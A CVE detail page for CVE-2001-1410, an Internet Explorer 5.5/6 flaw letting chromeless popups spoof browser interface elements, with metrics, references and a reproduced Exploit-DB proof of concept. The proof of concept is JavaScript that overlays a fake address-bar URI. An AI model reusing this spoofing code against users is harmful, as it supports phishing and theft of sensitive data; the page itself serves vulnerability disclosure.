CVE-2001-1410 : Detail

CVE-2001-1410

45.55%V3
Network
2003-07-17
02h00 +00:00
2017-07-10
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Internet Explorer 6 and earlier allows remote attackers to create chromeless windows using the Javascript window.createPopup method, which could allow attackers to simulate a victim's display and conduct unauthorized activities or steal sensitive data via social engineering.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21127

Publication date : 2001-10-20 22h00 +00:00
Author : Georgi Guninski
EDB Verified : Yes

source: https://www.securityfocus.com/bid/3469/info It is reported that Microsoft Internet Explorer may permit aspects of the Internet Explorer interface to be spoofed. This could facilitate numerous attacks against users of the browser, including spoofing of both graphical components of the underlying operating system and overlaying browser components. This misrepresentation may fool a user into taking dangerous actions. Users could then take further actions that compromise sensitive information based on this false sense of trust. var vuln_x, vuln_y, vuln_w, vuln_h; function vuln_calc() { var root= document[ (document.compatMode=='CSS1Compat') ? 'documentElement' : 'body' ]; vuln_x= window.screenLeft+72; vuln_y= window.screenTop-20; vuln_w= root.offsetWidth-520; vuln_h= 17; vuln_show(); } var vuln_win; function vuln_pop() { vuln_win= window.createPopup(); vuln_win.document.body.innerHTML= vuln_html; vuln_win.document.body.style.margin= 0; vuln_win.document.body.onunload= vuln_pop; vuln_show(); } function vuln_show() { if (vuln_win) vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h); } var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px; font-family: \'Tahoma\', sans-serif; font-size: 8pt;">https://<spoofed URI>\x3C/div>'

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.5

Microsoft>>Internet_explorer >> Version 5.5

Microsoft>>Internet_explorer >> Version 5.5

Microsoft>>Internet_explorer >> Version 6.0

References

http://marc.info/?l=bugtraq&m=105820229407274&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/bid/3469
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=105829174431769&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.kb.cert.org/vuls/id/490708
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/archive/1/221883
Tags : mailing-list, x_refsource_BUGTRAQ